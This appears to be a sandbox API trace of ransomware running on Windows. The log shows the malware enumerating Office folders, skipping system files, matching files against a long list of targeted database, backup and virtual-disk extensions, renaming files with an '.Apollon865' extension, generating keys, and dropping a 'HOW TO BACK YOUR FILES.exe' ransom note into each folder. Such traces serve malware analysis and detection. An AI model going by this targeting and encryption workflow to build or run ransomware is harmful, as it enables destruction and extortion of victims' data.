	[0072.695] lstrlenW (lpString="Apollon865") returned 10
	[0072.695] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.695] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SGRES.DLL" | out: lpString1="SGRES.DLL") returned="SGRES.DLL"
	[0072.695] lstrlenW (lpString="SGRES.DLL") returned 9
	[0072.695] lstrlenW (lpString="Apollon865") returned 10
	[0072.695] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SGRES.DLL.IDX_DLL" | out: lpString1="SGRES.DLL.IDX_DLL") returned="SGRES.DLL.IDX_DLL"
	[0072.695] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17
	[0072.695] lstrlenW (lpString="Apollon865") returned 10
	[0072.695] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.695] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SHAPNUM.VSL" | out: lpString1="SHAPNUM.VSL") returned="SHAPNUM.VSL"
	[0072.695] lstrlenW (lpString="SHAPNUM.VSL") returned 11
	[0072.695] lstrlenW (lpString="Apollon865") returned 10
	[0072.695] lstrcmpiW (lpString1="HAPNUM.VSL", lpString2="Apollon865") returned 1
	[0072.695] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SKY.CSS" | out: lpString1="SKY.CSS") returned="SKY.CSS"
	[0072.695] lstrlenW (lpString="SKY.CSS") returned 7
	[0072.696] lstrlenW (lpString="Apollon865") returned 10
	[0072.696] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SLINTL.DLL" | out: lpString1="SLINTL.DLL") returned="SLINTL.DLL"
	[0072.696] lstrlenW (lpString="SLINTL.DLL") returned 10
	[0072.696] lstrlenW (lpString="Apollon865") returned 10
	[0072.696] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SMIGRATE.VSL" | out: lpString1="SMIGRATE.VSL") returned="SMIGRATE.VSL"
	[0072.696] lstrlenW (lpString="SMIGRATE.VSL") returned 12
	[0072.696] lstrlenW (lpString="Apollon865") returned 10
	[0072.696] lstrcmpiW (lpString1="IGRATE.VSL", lpString2="Apollon865") returned 1
	[0072.699] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SOCIALCONNECTORRES.DLL" | out: lpString1="SOCIALCONNECTORRES.DLL") returned="SOCIALCONNECTORRES.DLL"
	[0072.699] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22
	[0072.699] lstrlenW (lpString="Apollon865") returned 10
	[0072.699] lstrcmpiW (lpString1="TORRES.DLL", lpString2="Apollon865") returned 1
	[0072.699] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SPACE.VRD" | out: lpString1="SPACE.VRD") returned="SPACE.VRD"
	[0072.699] lstrlenW (lpString="SPACE.VRD") returned 9
	[0072.699] lstrlenW (lpString="Apollon865") returned 10
	[0072.699] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SPRING.CSS" | out: lpString1="SPRING.CSS") returned="SPRING.CSS"
	[0072.699] lstrlenW (lpString="SPRING.CSS") returned 10
	[0072.699] lstrlenW (lpString="Apollon865") returned 10
	[0072.699] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SPS.CSS" | out: lpString1="SPS.CSS") returned="SPS.CSS"
	[0072.699] lstrlenW (lpString="SPS.CSS") returned 7
	[0072.699] lstrlenW (lpString="Apollon865") returned 10
	[0072.699] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="STEEL.CSS" | out: lpString1="STEEL.CSS") returned="STEEL.CSS"
	[0072.699] lstrlenW (lpString="STEEL.CSS") returned 9
	[0072.699] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="STSLIST.CHM" | out: lpString1="STSLIST.CHM") returned="STSLIST.CHM"
	[0072.700] lstrlenW (lpString="STSLIST.CHM") returned 11
	[0072.700] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcmpiW (lpString1="TSLIST.CHM", lpString2="Apollon865") returned 1
	[0072.700] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="STSLISTI.DLL" | out: lpString1="STSLISTI.DLL") returned="STSLISTI.DLL"
	[0072.700] lstrlenW (lpString="STSLISTI.DLL") returned 12
	[0072.700] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcmpiW (lpString1="SLISTI.DLL", lpString2="Apollon865") returned 1
	[0072.700] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SUNNY.CSS" | out: lpString1="SUNNY.CSS") returned="SUNNY.CSS"
	[0072.700] lstrlenW (lpString="SUNNY.CSS") returned 9
	[0072.700] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SUNSET.CSS" | out: lpString1="SUNSET.CSS") returned="SUNSET.CSS"
	[0072.700] lstrlenW (lpString="SUNSET.CSS") returned 10
	[0072.700] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="TERRCOTT.CSS" | out: lpString1="TERRCOTT.CSS") returned="TERRCOTT.CSS"
	[0072.700] lstrlenW (lpString="TERRCOTT.CSS") returned 12
	[0072.700] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcmpiW (lpString1="RRCOTT.CSS", lpString2="Apollon865") returned 1
	[0072.700] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="TIMESOLN.VSL" | out: lpString1="TIMESOLN.VSL") returned="TIMESOLN.VSL"
	[0072.700] lstrlenW (lpString="TIMESOLN.VSL") returned 12
	[0072.700] lstrlenW (lpString="Apollon865") returned 10
	[0072.700] lstrcmpiW (lpString1="MESOLN.VSL", lpString2="Apollon865") returned 1
	[0072.701] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="UML.VSL" | out: lpString1="UML.VSL") returned="UML.VSL"
	[0072.701] lstrlenW (lpString="UML.VSL") returned 7
	[0072.701] lstrlenW (lpString="Apollon865") returned 10
	[0072.701] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="UmOutlookStrings.dll" | out: lpString1="UmOutlookStrings.dll") returned="UmOutlookStrings.dll"
	[0072.701] lstrlenW (lpString="UmOutlookStrings.dll") returned 20
	[0072.701] lstrlenW (lpString="Apollon865") returned 10
	[0072.701] lstrcmpiW (lpString1="trings.dll", lpString2="Apollon865") returned 1
	[0072.701] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VALVE.VRD" | out: lpString1="VALVE.VRD") returned="VALVE.VRD"
	[0072.701] lstrlenW (lpString="VALVE.VRD") returned 9
	[0072.701] lstrlenW (lpString="Apollon865") returned 10
	[0072.701] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISBRRES.DLL" | out: lpString1="VISBRRES.DLL") returned="VISBRRES.DLL"
	[0072.701] lstrlenW (lpString="VISBRRES.DLL") returned 12
	[0072.701] lstrlenW (lpString="Apollon865") returned 10
	[0072.701] lstrcmpiW (lpString1="SBRRES.DLL", lpString2="Apollon865") returned 1
	[0072.701] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISBRRES.DLL.IDX_DLL" | out: lpString1="VISBRRES.DLL.IDX_DLL") returned="VISBRRES.DLL.IDX_DLL"
	[0072.701] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20
	[0072.701] lstrlenW (lpString="Apollon865") returned 10
	[0072.701] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.701] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISCOLOR.VSL" | out: lpString1="VISCOLOR.VSL") returned="VISCOLOR.VSL"
	[0072.701] lstrlenW (lpString="VISCOLOR.VSL") returned 12
	[0072.701] lstrlenW (lpString="Apollon865") returned 10
	[0072.701] lstrcmpiW (lpString1="SCOLOR.VSL", lpString2="Apollon865") returned 1
	[0072.702] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISINTL.DLL" | out: lpString1="VISINTL.DLL") returned="VISINTL.DLL"
	[0072.702] lstrlenW (lpString="VISINTL.DLL") returned 11
	[0072.702] lstrlenW (lpString="Apollon865") returned 10
	[0072.702] lstrcmpiW (lpString1="ISINTL.DLL", lpString2="Apollon865") returned 1
	[0072.702] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISINTL.DLL.IDX_DLL" | out: lpString1="VISINTL.DLL.IDX_DLL") returned="VISINTL.DLL.IDX_DLL"
	[0072.702] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19
	[0072.702] lstrlenW (lpString="Apollon865") returned 10
	[0072.702] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.709] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.Apollon865") returned 71
	[0072.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.apollon865"), dwFlags=0x1) returned 1
	[0072.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0072.712] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1401) returned 1
	[0072.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0072.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0072.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0072.712] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0072.713] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0072.713] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0072.713] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x880, lpName=0x0) returned 0x118
	[0072.717] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x880) returned 0x100000
	[0072.719] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0072.719] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.719] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0072.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0072.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0072.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.720] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0072.720] CloseHandle (hObject=0x118) returned 1
	[0072.720] CloseHandle (hObject=0xd8) returned 1
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0072.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0072.720] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x722, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WDERRLNK.VRD", cAlternateFileName="")) returned 1
	[0072.720] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.720] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="Apollon865.txt.exe") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2=".") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="..") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="windows") returned -1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="bootmgr") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="temp") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="pagefile.sys") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="boot") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="ids.txt") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="ntuser.dat") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="perflogs") returned 1
	[0072.721] lstrcmpiW (lpString1="WDERRLNK.VRD", lpString2="MSBuild") returned 1
	[0072.721] lstrlenW (lpString="WDERRLNK.VRD") returned 12
	[0072.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML") returned 60
	[0072.741] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir"
	[0072.741] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0072.741] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0072.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir") returned 53
	[0072.741] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir"
	[0072.741] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.742] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x436d3e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x436d3e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.747] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.747] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.747] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0072.747] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x436d3e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x436d3e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.747] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.747] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0072.747] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0072.747] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0072.747] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436d3e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x436d3e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.747] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.747] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b19600, ftCreationTime.dwHighDateTime=0x1c304b9, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x58b19600, ftLastWriteTime.dwHighDateTime=0x1c304b9, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visfilem.vsdir", cAlternateFileName="VISFIL~1.VSD")) returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="Apollon865.txt.exe") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2=".") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="..") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="windows") returned -1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="bootmgr") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="temp") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="pagefile.sys") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="boot") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="ids.txt") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="ntuser.dat") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="perflogs") returned 1
	[0072.747] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2="MSBuild") returned 1
	[0072.748] lstrlenW (lpString="Visfilem.vsdir") returned 14
	[0072.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*") returned 55
	[0072.748] lstrcmpiW (lpString1="ilem.vsdir", lpString2="Apollon865") returned 1
	[0072.748] lstrlenW (lpString=".dll") returned 4
	[0072.748] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2=".dll") returned 1
	[0072.748] lstrlenW (lpString=".lnk") returned 4
	[0072.748] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2=".lnk") returned 1
	[0072.748] lstrlenW (lpString=".ini") returned 4
	[0072.748] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2=".ini") returned 1
	[0072.748] lstrlenW (lpString=".sys") returned 4
	[0072.748] lstrcmpiW (lpString1="Visfilem.vsdir", lpString2=".sys") returned 1
	[0072.748] lstrlenW (lpString="Visfilem.vsdir") returned 14
	[0072.748] lstrlenW (lpString="bak") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="bak") returned 1
	[0072.748] lstrlenW (lpString="ba_") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="ba_") returned 1
	[0072.748] lstrlenW (lpString="dbb") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="dbb") returned 1
	[0072.748] lstrlenW (lpString="vmdk") returned 4
	[0072.748] lstrcmpiW (lpString1="sdir", lpString2="vmdk") returned -1
	[0072.748] lstrlenW (lpString="rar") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="rar") returned -1
	[0072.748] lstrlenW (lpString="zip") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="zip") returned -1
	[0072.748] lstrlenW (lpString="tgz") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="tgz") returned -1
	[0072.748] lstrlenW (lpString="vbox") returned 4
	[0072.748] lstrcmpiW (lpString1="sdir", lpString2="vbox") returned -1
	[0072.748] lstrlenW (lpString="vdi") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="vdi") returned -1
	[0072.748] lstrlenW (lpString="vhd") returned 3
	[0072.748] lstrcmpiW (lpString1="dir", lpString2="vhd") returned -1
	[0072.748] lstrlenW (lpString="vhdx") returned 4
	[0072.749] lstrcmpiW (lpString1="sdir", lpString2="vhdx") returned -1
	[0072.749] lstrlenW (lpString="avhd") returned 4
	[0072.749] lstrcmpiW (lpString1="sdir", lpString2="avhd") returned 1
	[0072.749] lstrlenW (lpString="db") returned 2
	[0072.749] lstrcmpiW (lpString1="ir", lpString2="db") returned 1
	[0072.749] lstrlenW (lpString="db2") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="db2") returned 1
	[0072.749] lstrlenW (lpString="db3") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="db3") returned 1
	[0072.749] lstrlenW (lpString="dbf") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="dbf") returned 1
	[0072.749] lstrlenW (lpString="mdf") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="mdf") returned -1
	[0072.749] lstrlenW (lpString="mdb") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="mdb") returned -1
	[0072.749] lstrlenW (lpString="sql") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="sql") returned -1
	[0072.749] lstrlenW (lpString="sqlite") returned 6
	[0072.749] lstrcmpiW (lpString1=".vsdir", lpString2="sqlite") returned -1
	[0072.749] lstrlenW (lpString="sqlite3") returned 7
	[0072.749] lstrcmpiW (lpString1="m.vsdir", lpString2="sqlite3") returned -1
	[0072.749] lstrlenW (lpString="sqlitedb") returned 8
	[0072.749] lstrcmpiW (lpString1="em.vsdir", lpString2="sqlitedb") returned -1
	[0072.749] lstrlenW (lpString="xml") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="xml") returned -1
	[0072.749] lstrlenW (lpString="$er") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="$er") returned 1
	[0072.749] lstrlenW (lpString="4dd") returned 3
	[0072.749] lstrcmpiW (lpString1="dir", lpString2="4dd") returned 1
	[0072.750] lstrlenW (lpString="4dl") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="4dl") returned 1
	[0072.750] lstrlenW (lpString="^^^") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="^^^") returned 1
	[0072.750] lstrlenW (lpString="abs") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="abs") returned 1
	[0072.750] lstrlenW (lpString="abx") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="abx") returned 1
	[0072.750] lstrlenW (lpString="accdb") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accdb") returned 1
	[0072.750] lstrlenW (lpString="accdc") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accdc") returned 1
	[0072.750] lstrlenW (lpString="accde") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accde") returned 1
	[0072.750] lstrlenW (lpString="accdr") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accdr") returned 1
	[0072.750] lstrlenW (lpString="accdt") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accdt") returned 1
	[0072.750] lstrlenW (lpString="accdw") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accdw") returned 1
	[0072.750] lstrlenW (lpString="accft") returned 5
	[0072.750] lstrcmpiW (lpString1="vsdir", lpString2="accft") returned 1
	[0072.750] lstrlenW (lpString="adb") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="adb") returned 1
	[0072.750] lstrlenW (lpString="adb") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="adb") returned 1
	[0072.750] lstrlenW (lpString="ade") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="ade") returned 1
	[0072.750] lstrlenW (lpString="adf") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="adf") returned 1
	[0072.750] lstrlenW (lpString="adn") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="adn") returned 1
	[0072.750] lstrlenW (lpString="adp") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="adp") returned 1
	[0072.750] lstrlenW (lpString="alf") returned 3
	[0072.750] lstrcmpiW (lpString1="dir", lpString2="alf") returned 1
	[0072.750] lstrlenW (lpString="ask") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="ask") returned 1
	[0072.751] lstrlenW (lpString="btr") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="btr") returned 1
	[0072.751] lstrlenW (lpString="cat") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="cat") returned 1
	[0072.751] lstrlenW (lpString="cdb") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="cdb") returned 1
	[0072.751] lstrlenW (lpString="ckp") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="ckp") returned 1
	[0072.751] lstrlenW (lpString="cma") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="cma") returned 1
	[0072.751] lstrlenW (lpString="cpd") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="cpd") returned 1
	[0072.751] lstrlenW (lpString="dacpac") returned 6
	[0072.751] lstrcmpiW (lpString1=".vsdir", lpString2="dacpac") returned -1
	[0072.751] lstrlenW (lpString="dad") returned 3
	[0072.751] lstrcmpiW (lpString1="dir", lpString2="dad") returned 1
	[0072.751] lstrlenW (lpString="dadiagrams") returned 10
	[0072.751] lstrcmpiW (lpString1="ilem.vsdir", lpString2="dadiagrams") returned 1
	[0072.751] lstrlenW (lpString="daschema") returned 8
	[0072.751] lstrcmpiW (lpString1="em.vsdir", lpString2="daschema") returned 1
	[0072.751] lstrlenW (lpString="db-journal") returned 10
